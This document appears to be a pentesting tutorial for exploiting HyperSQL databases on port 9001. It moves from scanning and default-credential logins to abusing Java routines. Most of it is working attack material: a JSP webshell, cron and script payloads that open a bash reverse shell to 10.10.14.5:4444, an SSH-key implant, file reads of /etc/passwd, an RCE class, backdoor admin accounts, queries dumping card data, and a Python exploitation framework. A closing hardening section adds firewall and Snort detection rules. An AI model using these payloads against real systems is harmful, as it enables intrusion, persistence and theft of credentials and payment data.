# HSQLDB - Port 9001

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is HSQLDB?

**HSQLDB (HyperSQL Database)** is an open-source RDBMS written entirely in Java that offers:

* **Lightweight footprint** - Small memory and disk requirements
* **Multiple modes** - In-memory, file-based, or server-mode
* **JDBC compliance** - Standard SQL database operations
* **Embedded capability** - Can run within Java applications
* **SQL-92 compliance** - Standard SQL syntax support
* **Java integration** - Can call Java methods directly from SQL

#### Deployment Modes

**1. In-Memory Mode:**

```
jdbc:hsqldb:mem:testdb
- Fastest performance
- Data lost on shutdown
- Used for testing/caching
```

**2. File-Based Mode:**

```
jdbc:hsqldb:file:/path/to/database
- Persistent storage
- Single process access
- Standalone applications
```

**3. Server Mode (Network):**

```
jdbc:hsqldb:hsql://hostname:9001/dbname
- Multi-client access
- Network accessible
- Pentesting target (THIS MODE)
```

**4. HTTP Mode:**

```
jdbc:hsqldb:http://hostname:8080/dbname
- Web-based access
- Through servlet container
```

#### Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                   HSQLDB Architecture                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌─────────────┐         JDBC Protocol        ┌───────────┐ │
│  │   Client    │────────────(9001)───────────>│  HSQLDB   │ │
│  │Application  │         Network              │  Server   │ │
│  └─────────────┘                              └───────────┘ │
│                                                     │       │
│                                                     V       │
│                                             ┌───────────┐   │
│                                             │ Database  │   │
│                                             │  Engine   │   │
│                                             └───────────┘   │
│                                                     │       │
│                                                     V       │
│                                        ┌────────────────┐   │
│                                        │  Storage       │   │
│                                        │ (Memory/Disk)  │   │
│                                        └────────────────┘   │
└─────────────────────────────────────────────────────────────┘
```

#### Common Use Cases

* **Embedded databases** in Java applications
* **Testing environments** for development
* **OpenOffice/LibreOffice Base** backend
* **Apache OFBiz** - Enterprise resource planning
* **Apache James** - Mail server
* **Small to medium applications** requiring lightweight DB

#### Default Port

**Port 9001** - HSQLDB Network Server

```
PORT     STATE SERVICE VERSION
9001/tcp open  jdbc    HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```

**Important Notes:**

* Often runs in **memory-only mode** (no network exposure)
* Usually binds to **localhost** by default
* If found externally, likely misconfigured
* **No authentication** by default in older versions

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9001 -sV <target-ip>

# Detailed scan
nmap -p 9001 -sV -sC <target-ip>

# Scan for common Java database ports
nmap -p 1527,9001,9002,50000 -sV <target-ip>

# Comprehensive scan
nmap -p 9001 -A <target-ip>

# Scan subnet
nmap -p 9001 -sV <target-subnet>/24 -oA hsqldb-scan
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
9001/tcp open  jdbc    HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
| fingerprint-strings:
|   NULL:
|     HSQLDB Network Server
|_    Protocol Version: 1.8.0
```

#### Service Fingerprinting

**Banner Grabbing:**

```bash
# Using netcat
nc <target-ip> 9001

# Response:
# HSQLDB Network Server
# Protocol Version: 1.8.0

# Using telnet
telnet <target-ip> 9001
```

**Version Detection:**

```bash
# Nmap version detection
nmap -p 9001 -sV --version-intensity 9 <target-ip>

# Banner analysis
echo "" | nc <target-ip> 9001 | grep -i "version"
```

#### Shodan Queries

```
port:9001 hsqldb
port:9001 jdbc
"HSQLDB"
product:"HSQLDB"
```

## Credential Discovery

#### Default Credentials

**Common Default Credentials:**

```
Username: sa
Password: (blank/empty)

Username: SA
Password: (blank)

Username: admin
Password: (blank)

Username: admin
Password: admin
```

**Authentication Testing:**

```bash
# Test default credentials
java -cp hsqldb.jar org.hsqldb.util.DatabaseManager \
  --driver org.hsqldb.jdbcDriver \
  --url jdbc:hsqldb:hsql://<target-ip>:9001/testdb \
  --user sa \
  --password ""
```

#### Credential Hunting (Post-Exploitation)

**Search for JDBC Connection Strings:**

```bash
# Look for JDBC URLs with credentials
grep -rP 'jdbc:hsqldb.*password.*' /var/www/ 2>/dev/null
grep -rP 'jdbc:hsqldb.*password.*' /opt/ 2>/dev/null
grep -rP 'jdbc:hsqldb.*password.*' /home/ 2>/dev/null

# Look in common Java config files
find / -name "*.properties" -exec grep -l "jdbc:hsqldb" {} \; 2>/dev/null
find / -name "*.xml" -exec grep -l "jdbc:hsqldb" {} \; 2>/dev/null
find / -name "*.conf" -exec grep -l "jdbc:hsqldb" {} \; 2>/dev/null

# Common application config locations
cat /etc/ofbiz/entityengine.xml
cat /opt/openemr/sites/*/sqlconf.php
cat /var/lib/tomcat*/webapps/*/WEB-INF/web.xml
```

**JDBC URL Examples:**

```
jdbc:hsqldb:hsql://localhost:9001/mydb;user=sa;password=secret
jdbc:hsqldb:file:/opt/db/mydb;user=admin;password=admin123
jdbc:hsqldb:mem:testdb;user=sa;password=
```

**Extract Database Name:**

```bash
# Database name is required for connection
# Look for JDBC URLs to find DB name

# Common patterns
grep -oP 'jdbc:hsqldb:hsql://[^/]+/\K[^;]+' config.properties
```

### Connection & Enumeration

#### Connect Using GUI Client

**Download and Run HSQLDB Manager:**

```bash
# Download HSQLDB
wget https://sourceforge.net/projects/hsqldb/files/hsqldb/hsqldb_2_7/hsqldb-2.7.1.zip
unzip hsqldb-2.7.1.zip

# Extract JAR
cd hsqldb-2.7.1/hsqldb/lib/

# Run GUI Manager
java -jar hsqldb.jar

# In the GUI:
# Type: HSQL Database Engine Server
# Driver: org.hsqldb.jdbcDriver
# URL: jdbc:hsqldb:hsql://<target-ip>:9001/dbname
# User: sa
# Password: (leave blank or enter password)
```

#### Connect Using Command Line

**Using HSQLDB CLI:**

```bash
# Connect via SqlTool
java -jar sqltool.jar --rcFile=/dev/null \
  jdbc:hsqldb:hsql://<target-ip>:9001/dbname sa ""

# Or interactive mode
java -jar sqltool.jar
\c jdbc:hsqldb:hsql://<target-ip>:9001/dbname sa ""
```

**Using Java Code:**

```java
// Connect.java
import java.sql.*;

public class Connect {
    public static void main(String[] args) {
        try {
            Class.forName("org.hsqldb.jdbcDriver");
            Connection conn = DriverManager.getConnection(
                "jdbc:hsqldb:hsql://target-ip:9001/dbname",
                "sa",
                ""
            );
            System.out.println("Connected!");
            
            Statement stmt = conn.createStatement();
            ResultSet rs = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.TABLES");
            
            while (rs.next()) {
                System.out.println(rs.getString("TABLE_NAME"));
            }
            
            conn.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

// Compile and run
javac -cp hsqldb.jar Connect.java
java -cp .:hsqldb.jar Connect
```

#### Database Enumeration

**List Tables:**

```sql
-- System tables
SELECT * FROM INFORMATION_SCHEMA.TABLES;

-- User tables only
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES 
WHERE TABLE_SCHEMA = 'PUBLIC';

-- All schemas
SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES;
```

**List Columns:**

```sql
-- All columns
SELECT * FROM INFORMATION_SCHEMA.COLUMNS;

-- Specific table
SELECT COLUMN_NAME, DATA_TYPE 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'USERS';
```

**List Users:**

```sql
-- HSQLDB users
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS;

-- Check current user
VALUES CURRENT_USER;

-- Check if admin/DBA
SELECT IS_ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS 
WHERE USER_NAME = CURRENT_USER;
```

**List Privileges:**

```sql
-- Table privileges
SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES;

-- Column privileges  
SELECT * FROM INFORMATION_SCHEMA.COLUMN_PRIVILEGES;
```

**Database Version:**

```sql
-- HSQLDB version
VALUES (database_version());

-- Full info
CALL database_version();
```

**Extract Data:**

```sql
-- Dump user table
SELECT * FROM USERS;

-- Search for credentials
SELECT * FROM USERS WHERE username LIKE '%admin%';

-- Find sensitive data
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS 
WHERE COLUMN_NAME LIKE '%password%' 
   OR COLUMN_NAME LIKE '%secret%'
   OR COLUMN_NAME LIKE '%token%';
```

## Exploitation Techniques

#### Java Language Routines (JRTs)

**Concept:** HSQLDB can call static Java methods directly from SQL

**Key Points:**

* Call any Java method in classpath
* Access JDK classes (always available)
* Read system properties
* Read/write files
* Execute commands (indirectly)

#### Method 1: Read Java System Properties

**Create Function:**

```sql
-- Create function to read system properties
CREATE FUNCTION getsystemproperty(IN key VARCHAR) 
RETURNS VARCHAR 
LANGUAGE JAVA 
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty';
```

**Execute Function:**

```sql
-- Get username
VALUES(getsystemproperty('user.name'));

-- Get home directory
VALUES(getsystemproperty('user.home'));

-- Get OS name
VALUES(getsystemproperty('os.name'));

-- Get Java version
VALUES(getsystemproperty('java.version'));

-- Get current directory
VALUES(getsystemproperty('user.dir'));

-- Get classpath
VALUES(getsystemproperty('java.class.path'));
```

**Useful System Properties:**

```
user.name          - Current username
user.home          - User home directory
user.dir           - Current working directory
os.name            - Operating system name
os.version         - OS version
java.version       - Java version
java.home          - Java installation directory
java.class.path    - Java classpath
file.separator     - File separator (/ or \)
path.separator     - Path separator (: or ;)
line.separator     - Line separator
java.io.tmpdir     - Temporary directory
```

#### Method 2: Write Files to Disk

**Create Procedure:**

```sql
-- Create procedure to write files
CREATE PROCEDURE writetofile(
    IN paramString VARCHAR, 
    IN paramArrayOfByte VARBINARY(1024)
)
LANGUAGE JAVA 
DETERMINISTIC NO SQL 
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
```

**Write Webshell (JSP):**

```sql
-- JSP webshell payload (hex encoded)
-- Original: <%@ page import="java.io.*" %><%String cmd = request.getParameter("cmd");if(cmd != null) {Process p = Runtime.getRuntime().exec(cmd);OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>

CALL writetofile(
    '/var/lib/tomcat9/webapps/ROOT/shell.jsp',
    CAST('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a537472696e6720636d64203d20726571756573742e676574506172616d657465722822636d642229 ...(truncated)...' AS VARBINARY(1024))
);
```

**Write SSH Key:**

```bash
# Generate key
ssh-keygen -t rsa -f hsqldb_key

# Convert public key to hex
xxd -p hsqldb_key.pub | tr -d '\n' > key.hex

# Write via HSQLDB
CALL writetofile(
    '/home/user/.ssh/authorized_keys',
    CAST('(hex_content)' AS VARBINARY(1024))
);
```

**Write Cron Job:**

```sql
-- Cron job for reverse shell
-- */1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

CALL writetofile(
    '/etc/cron.d/hsqldb',
    CAST('2a2f31202a202a202a202a20726f6f74202f62696e2f62617368202d6320276261736820... (truncated)...' AS VARBINARY(1024))
);
```

**Important Notes:**

* **Maximum size: 1024 bytes**
* Must hex-encode content
* Need write permissions on target path
* Path must be absolute

#### Method 3: Read Files (Indirect)

**Using Java Reflection:**

```sql
-- Create function to read files (via JavaUtils)
CREATE FUNCTION readfile(IN filepath VARCHAR)
RETURNS VARCHAR
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile';

-- Read file
VALUES(readfile('/etc/passwd'));
```

**Alternative - Via System Properties:**

```sql
-- Some properties contain file paths
VALUES(getsystemproperty('user.home'));

-- Then read .ssh/id_rsa, .bash_history, etc.
```

#### Method 4: Command Execution (Advanced)

**Using Runtime.exec() via Custom Procedure:**

**Note:** Requires creating a custom Java class and adding to classpath

**Step 1: Create Java Class**

```java
// RCE.java
package com.exploit;

public class RCE {
    public static String exec(String cmd) {
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(p.getInputStream())
            );
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            return output.toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
}
```

**Step 2: Compile and Add to Classpath**

```bash
# Compile
javac RCE.java

# Add to HSQLDB classpath
# (requires server restart or specific configuration)
```

**Step 3: Create SQL Function**

```sql
CREATE FUNCTION execCommand(IN cmd VARCHAR)
RETURNS VARCHAR
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.exploit.RCE.exec';

-- Execute command
VALUES(execCommand('whoami'));
VALUES(execCommand('id'));
VALUES(execCommand('cat /etc/passwd'));
```

**Limitation:** This requires adding custom class to classpath, which usually means you already have significant access.

#### Method 5: Script Execution via File Write + Trigger

**Concept:** Write executable script, then trigger execution

**Step 1: Write Script**

```sql
-- Write bash script
CALL writetofile(
    '/tmp/exploit.sh',
    CAST('23212f62696e2f626173680a6261736820... (hex: #!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/4444 0>&1)' AS VARBINARY(1024))
);
```

**Step 2: Make Executable (Challenge)**

HSQLDB cannot directly change file permissions. Options:

* Write to location with execute permissions
* Write to web directory and execute via HTTP
* Write cron job that executes script
* Write to startup scripts

#### Method 6: JDBC URL Injection

**If controlling JDBC URL:**

```java
// Malicious JDBC URL
String url = "jdbc:hsqldb:file:/tmp/malicious;script=/path/to/evil.sql";

// evil.sql contains malicious SQL
// Gets executed on connection
```

## Post-Exploitation

#### Data Exfiltration

**Dump Entire Database:**

```sql
-- Script to generate INSERT statements
SCRIPT 'backup.sql';

-- Or use GUI "Export" function
```

**Extract Sensitive Data:**

```sql
-- Find tables with sensitive columns
SELECT DISTINCT TABLE_NAME 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE COLUMN_NAME LIKE '%password%' 
   OR COLUMN_NAME LIKE '%email%'
   OR COLUMN_NAME LIKE '%credit%'
   OR COLUMN_NAME LIKE '%ssn%';

-- Extract specific data
SELECT username, password_hash, email FROM users;
SELECT card_number, cvv, expiry FROM payments;
```

**Automated Dump Script:**

```bash
#!/bin/bash
# HSQLDB Data Dump Script

HOST=$1
PORT=9001
DB=$2
USER=$3
PASS=$4

# Get all tables
TABLES=$(java -cp hsqldb.jar org.hsqldb.cmdline.SqlTool \
    --rcFile=/dev/null \
    jdbc:hsqldb:hsql://$HOST:$PORT/$DB $USER "$PASS" \
    "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC';" | grep -v "^-" | grep -v "^TABLE_NAME")

# Dump each table
for table in $TABLES; do
    echo "[*] Dumping table: $table"
    java -cp hsqldb.jar org.hsqldb.cmdline.SqlTool \
        --rcFile=/dev/null \
        jdbc:hsqldb:hsql://$HOST:$PORT/$DB $USER "$PASS" \
        "SELECT * FROM $table;" > ${table}.csv
done

echo "[+] Dump complete!"
```

#### Privilege Escalation

**Check Current Privileges:**

```sql
-- Check if DBA/admin
SELECT IS_ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS 
WHERE USER_NAME = CURRENT_USER;

-- List all privileges
SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES 
WHERE GRANTEE = CURRENT_USER;
```

**Create Admin User (If Admin):**

```sql
-- Create new user with admin privileges
CREATE USER backdoor PASSWORD 'SecretPass123!' ADMIN;

-- Grant all privileges
GRANT DBA TO backdoor;
```

**Modify Existing User:**

```sql
-- Change password
ALTER USER sa SET PASSWORD 'newpassword';

-- Grant admin
ALTER USER username ADMIN;
```

#### Persistence

**Backdoor User:**

```sql
-- Create hidden admin user
CREATE USER ".system" PASSWORD 'P@ssw0rd!' ADMIN;

-- Or use common app username
CREATE USER "service_account" PASSWORD 'backdoor123' ADMIN;
```

**Trigger-Based Backdoor:**

```sql
-- Create trigger that logs all queries to external file
-- (Requires file write permissions)

CREATE TRIGGER backdoor_trigger
AFTER INSERT ON SOME_TABLE
CALL writetofile(
    '/tmp/activity.log',
    CAST((hex_encoded_data) AS VARBINARY(1024))
);
```

**Scheduled Task (If File Write Available):**

```sql
-- Write cron job for persistent access
CALL writetofile(
    '/etc/cron.d/hsqldb_backdoor',
    CAST('2a2f3135202a202a202a202a20726f6f74202f746d702f6261636b646f6f722e7368' AS VARBINARY(1024))
);
```

#### Lateral Movement

**Extract Connection Strings:**

```sql
-- Look for stored connection strings
SELECT * FROM configuration WHERE key LIKE '%jdbc%';
SELECT * FROM settings WHERE name LIKE '%database%';

-- Application-specific tables
SELECT * FROM datasources;
SELECT * FROM db_connections;
```

**Credential Reuse:**

```sql
-- Dump password hashes
SELECT username, password FROM users;

-- Try credentials on other services:
# - SSH
# - Database servers (MySQL, PostgreSQL, MSSQL)
# - Web applications
# - LDAP/AD
```

## Defense & Hardening

#### Secure Configuration

**server.properties Configuration:**

```properties
# Bind to localhost only
server.address=127.0.0.1
server.port=9001

# Enable authentication
server.remote_open=false
server.no_system_exit=true

# Set strong password
# (Use HSQLDB Manager to set passwords)

# Disable remote connections (if not needed)
server.silent=true
server.trace=false

# Enable SSL/TLS
server.tls=true
```

**Set Strong Passwords:**

```sql
-- Connect as admin
-- Set password for SA user
SET PASSWORD 'VeryStrongPassword123!@#';

-- Create users with minimal privileges
CREATE USER readonly_user PASSWORD 'ReadPass123!';
GRANT SELECT ON SCHEMA PUBLIC TO readonly_user;

-- Remove default accounts
-- (if created custom admin accounts)
```

**Disable Dangerous Features:**

```sql
-- Revoke FILE privileges if possible
-- Restrict Java Language Routines access

-- Grant only necessary privileges
GRANT SELECT, INSERT, UPDATE, DELETE ON SCHEMA PUBLIC TO appuser;
-- DO NOT grant ADMIN or DBA
```

#### Network Security

**Firewall Rules:**

```bash
# UFW - Block HSQLDB port
sudo ufw deny 9001/tcp

# Allow only from localhost
sudo ufw allow from 127.0.0.1 to any port 9001

# Allow from application server only
sudo ufw allow from 192.168.1.100 to any port 9001

# iptables
sudo iptables -A INPUT -p tcp --dport 9001 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9001 -s 192.168.1.100 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9001 -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
```

**Use SSH Tunnel:**

```bash
# Instead of exposing HSQLDB, use SSH tunnel
ssh -L 9001:localhost:9001 user@app-server

# Then connect to localhost:9001
```

#### Application Security

**Use Connection Pooling:**

```java
// Configure connection pool with HikariCP
HikariConfig config = new HikariConfig();
config.setJdbcUrl("jdbc:hsqldb:hsql://localhost:9001/mydb");
config.setUsername("appuser");
config.setPassword("StrongAppPassword!");
config.setMaximumPoolSize(10);
config.setConnectionTimeout(30000);

HikariDataSource ds = new HikariDataSource(config);
```

**Input Validation:**

```java
// Always use prepared statements
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

// NEVER concatenate user input
// BAD: "SELECT * FROM users WHERE username = '" + username + "'"
```

**Least Privilege:**

```java
// Create application-specific user with minimal permissions
CREATE USER appuser PASSWORD 'AppPassword123!';
GRANT SELECT, INSERT, UPDATE, DELETE ON SCHEMA PUBLIC TO appuser;

// Use this user in application, not SA or admin
```

#### Monitoring & Detection

**Enable Logging:**

```properties
# server.properties
hsqldb.log_data=true
hsqldb.log_size=100
hsqldb.sqllog=3
```

**Monitor Logs:**

```bash
# HSQLDB log locations
/var/lib/hsqldb/*.log
/opt/hsqldb/data/*.log

# Monitor for suspicious activity
tail -f /var/lib/hsqldb/mydb.log | grep -E "CREATE FUNCTION|CREATE PROCEDURE|EXTERNAL NAME|writetofile"

# Alert on privilege escalation
tail -f /var/lib/hsqldb/mydb.log | grep -E "GRANT|ALTER USER|CREATE USER"
```

**Intrusion Detection:**

```bash
# Snort rules for HSQLDB exploitation
alert tcp any any -> any 9001 (msg:"HSQLDB CREATE FUNCTION attempt"; content:"CREATE FUNCTION"; nocase; sid:1000001;)

alert tcp any any -> any 9001 (msg:"HSQLDB Java routine exploitation"; content:"EXTERNAL NAME"; content:"CLASSPATH"; distance:0; sid:1000002;)

alert tcp any any -> any 9001 (msg:"HSQLDB file write attempt"; content:"writetofile"; nocase; sid:1000003;)

alert tcp any any -> any 9001 (msg:"HSQLDB system property access"; content:"System.getProperty"; sid:1000004;)
```

**Database Auditing:**

```sql
-- Create audit table
CREATE TABLE audit_log (
    id INTEGER IDENTITY PRIMARY KEY,
    username VARCHAR(100),
    action VARCHAR(255),
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Create audit trigger (for critical tables)
CREATE TRIGGER audit_users
AFTER UPDATE ON users
FOR EACH ROW
INSERT INTO audit_log (username, action) 
VALUES (CURRENT_USER, 'Updated user: ' || OLD.username);
```

#### Regular Security Practices

```bash
# Update HSQLDB regularly
# Download from: http://hsqldb.org/

# Check current version
java -cp hsqldb.jar org.hsqldb.util.DatabaseManager --version

# Review users
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS;

# Review privileges
SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES;

# Check for suspicious functions/procedures
SELECT ROUTINE_NAME, ROUTINE_TYPE 
FROM INFORMATION_SCHEMA.ROUTINES 
WHERE EXTERNAL_NAME LIKE '%JavaUtils%' 
   OR EXTERNAL_NAME LIKE '%System%';

# Backup database
SCRIPT 'backup.sql';
BACKUP DATABASE TO '/backup/mydb.tar.gz';

# Test restore procedures
RESTORE DATABASE FROM '/backup/mydb.tar.gz';
```

## Tools & Scripts

#### Essential Tools

1. **HSQLDB Manager** - GUI database client
2. **SqlTool** - Command-line SQL client
3. **Java** - Required for HSQLDB
4. **Custom Python scripts** - Automation

#### Custom Enumeration Script

```python
#!/usr/bin/env python3
"""
HSQLDB Enumeration Script
"""
import jaydebeapi
import sys

def enumerate_hsqldb(host, port, dbname, user, password):
    """Enumerate HSQLDB instance"""
    
    jdbc_url = f"jdbc:hsqldb:hsql://{host}:{port}/{dbname}"
    
    try:
        # Connect
        conn = jaydebeapi.connect(
            "org.hsqldb.jdbcDriver",
            jdbc_url,
            [user, password],
            "hsqldb.jar"
        )
        
        print(f"[+] Connected to {jdbc_url}")
        cursor = conn.cursor()
        
        # Get version
        cursor.execute("VALUES database_version()")
        version = cursor.fetchone()[0]
        print(f"[*] HSQLDB Version: {version}")
        
        # List tables
        print("\n[*] Tables:")
        cursor.execute("""
            SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE 
            FROM INFORMATION_SCHEMA.TABLES 
            ORDER BY TABLE_SCHEMA, TABLE_NAME
        """)
        
        for row in cursor.fetchall():
            print(f"    {row[0]}.{row[1]} ({row[2]})")
        
        # List users
        print("\n[*] Users:")
        cursor.execute("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS")
        
        for row in cursor.fetchall():
            print(f"    {row[0]} (Admin: {row[1]})")
        
        # Check current user privileges
        print("\n[*] Current User Privileges:")
        cursor.execute("""
            SELECT TABLE_NAME, PRIVILEGE_TYPE 
            FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES 
            WHERE GRANTEE = CURRENT_USER
        """)
        
        for row in cursor.fetchall():
            print(f"    {row[0]}: {row[1]}")
        
        cursor.close()
        conn.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 6:
        print(f"Usage: {sys.argv[0]} <host> <port> <dbname> <user> <password>")
        sys.exit(1)
    
    enumerate_hsqldb(sys.argv[1], sys.argv[2], sys.argv[3], 
                    sys.argv[4], sys.argv[5])
```

#### Exploitation Framework

```python
#!/usr/bin/env python3
"""
HSQLDB Exploitation Framework
"""
import jaydebeapi
import sys

class HSQLDBExploit:
    def __init__(self, host, port, dbname, user, password):
        self.jdbc_url = f"jdbc:hsqldb:hsql://{host}:{port}/{dbname}"
        self.user = user
        self.password = password
        self.conn = None
    
    def connect(self):
        """Connect to database"""
        try:
            self.conn = jaydebeapi.connect(
                "org.hsqldb.jdbcDriver",
                self.jdbc_url,
                [self.user, self.password],
                "hsqldb.jar"
            )
            print("[+] Connected!")
            return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            return False
    
    def create_read_property_function(self):
        """Create function to read system properties"""
        cursor = self.conn.cursor()
        
        sql = """
        CREATE FUNCTION getsystemproperty(IN key VARCHAR) 
        RETURNS VARCHAR 
        LANGUAGE JAVA 
        DETERMINISTIC NO SQL
        EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
        """
        
        try:
            cursor.execute(sql)
            print("[+] Created getsystemproperty function")
            return True
        except Exception as e:
            print(f"[-] Function creation failed: {e}")
            return False
    
    def read_system_property(self, prop):
        """Read system property"""
        cursor = self.conn.cursor()
        
        try:
            cursor.execute(f"VALUES(getsystemproperty('{prop}'))")
            result = cursor.fetchone()[0]
            print(f"[+] {prop}: {result}")
            return result
        except Exception as e:
            print(f"[-] Error reading property: {e}")
            return None
    
    def create_write_file_procedure(self):
        """Create procedure to write files"""
        cursor = self.conn.cursor()
        
        sql = """
        CREATE PROCEDURE writetofile(
            IN paramString VARCHAR, 
            IN paramArrayOfByte VARBINARY(1024)
        )
        LANGUAGE JAVA 
        DETERMINISTIC NO SQL 
        EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
        """
        
        try:
            cursor.execute(sql)
            print("[+] Created writetofile procedure")
            return True
        except Exception as e:
            print(f"[-] Procedure creation failed: {e}")
            return False
    
    def write_file(self, filepath, hex_content):
        """Write file to disk"""
        cursor = self.conn.cursor()
        
        try:
            cursor.execute(
                f"CALL writetofile('{filepath}', CAST('{hex_content}' AS VARBINARY(1024)))"
            )
            print(f"[+] File written to: {filepath}")
            return True
        except Exception as e:
            print(f"[-] File write failed: {e}")
            return False

# Usage example
if __name__ == "__main__":
    exploit = HSQLDBExploit("target-ip", "9001", "dbname", "sa", "")
    
    if exploit.connect():
        exploit.create_read_property_function()
        exploit.read_system_property("user.name")
        exploit.read_system_property("user.home")
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9001 -sV <target>

# CONNECT (GUI)
java -jar hsqldb.jar
# URL: jdbc:hsqldb:hsql://<target>:9001/dbname
# User: sa
# Password: (blank)

# CONNECT (CLI)
java -jar sqltool.jar --rcFile=/dev/null jdbc:hsqldb:hsql://<target>:9001/dbname sa ""

# ENUMERATE
SELECT * FROM INFORMATION_SCHEMA.TABLES;
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS;
VALUES database_version();

# READ SYSTEM PROPERTIES
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty';
VALUES(getsystemproperty('user.name'));

# WRITE FILES
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
CALL writetofile('/tmp/test.txt', CAST('48656c6c6f' AS VARBINARY(1024)));
```

#### Important Files

```
/var/lib/hsqldb/*.properties    # Configuration
/var/lib/hsqldb/*.log           # Logs
/var/lib/hsqldb/*.data          # Data files
/opt/hsqldb/                    # Installation directory
```

#### Useful System Properties

```
user.name          - Current username
user.home          - Home directory
user.dir           - Working directory
java.class.path    - Classpath
java.io.tmpdir     - Temp directory
os.name            - Operating system
```

### Conclusion

HSQLDB, while lightweight and convenient, introduces significant security risks through its Java integration capabilities and often weak default configurations. The ability to call arbitrary Java methods from SQL provides powerful exploitation opportunities for attackers.

**Key Takeaways:**

1. **Never expose HSQLDB externally** - Bind to localhost only
2. **Set strong passwords** - Change default SA blank password
3. **Restrict Java Language Routines** - Limit JRT access if possible
4. **Monitor file write operations** - Alert on suspicious writes
5. **Use minimal privileges** - Grant only necessary permissions
6. **Regular security audits** - Review users and functions
7. **Keep updated** - Apply security patches
8. **Network segmentation** - Firewall HSQLDB port
9. **Application security** - Use prepared statements
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* Default credentials (sa/blank)
* Java Language Routines (arbitrary Java calls)
* File write via JavaUtils
* System property disclosure
* SQL injection (application-level)
* Privilege escalation
* Data exfiltration

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [HSQLDB Official Documentation](http://hsqldb.org/doc/guide/)
* [HSQLDB Security Guide](http://hsqldb.org/doc/guide/management-chapt.html#mtc_security)
* [Java Language Routines](http://hsqldb.org/doc/guide/sqlroutines-chapt.html)
* [HackTricks HSQLDB](https://book.hacktricks.wiki/en/network-services-pentesting/9001-pentesting-hsqldb.html)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

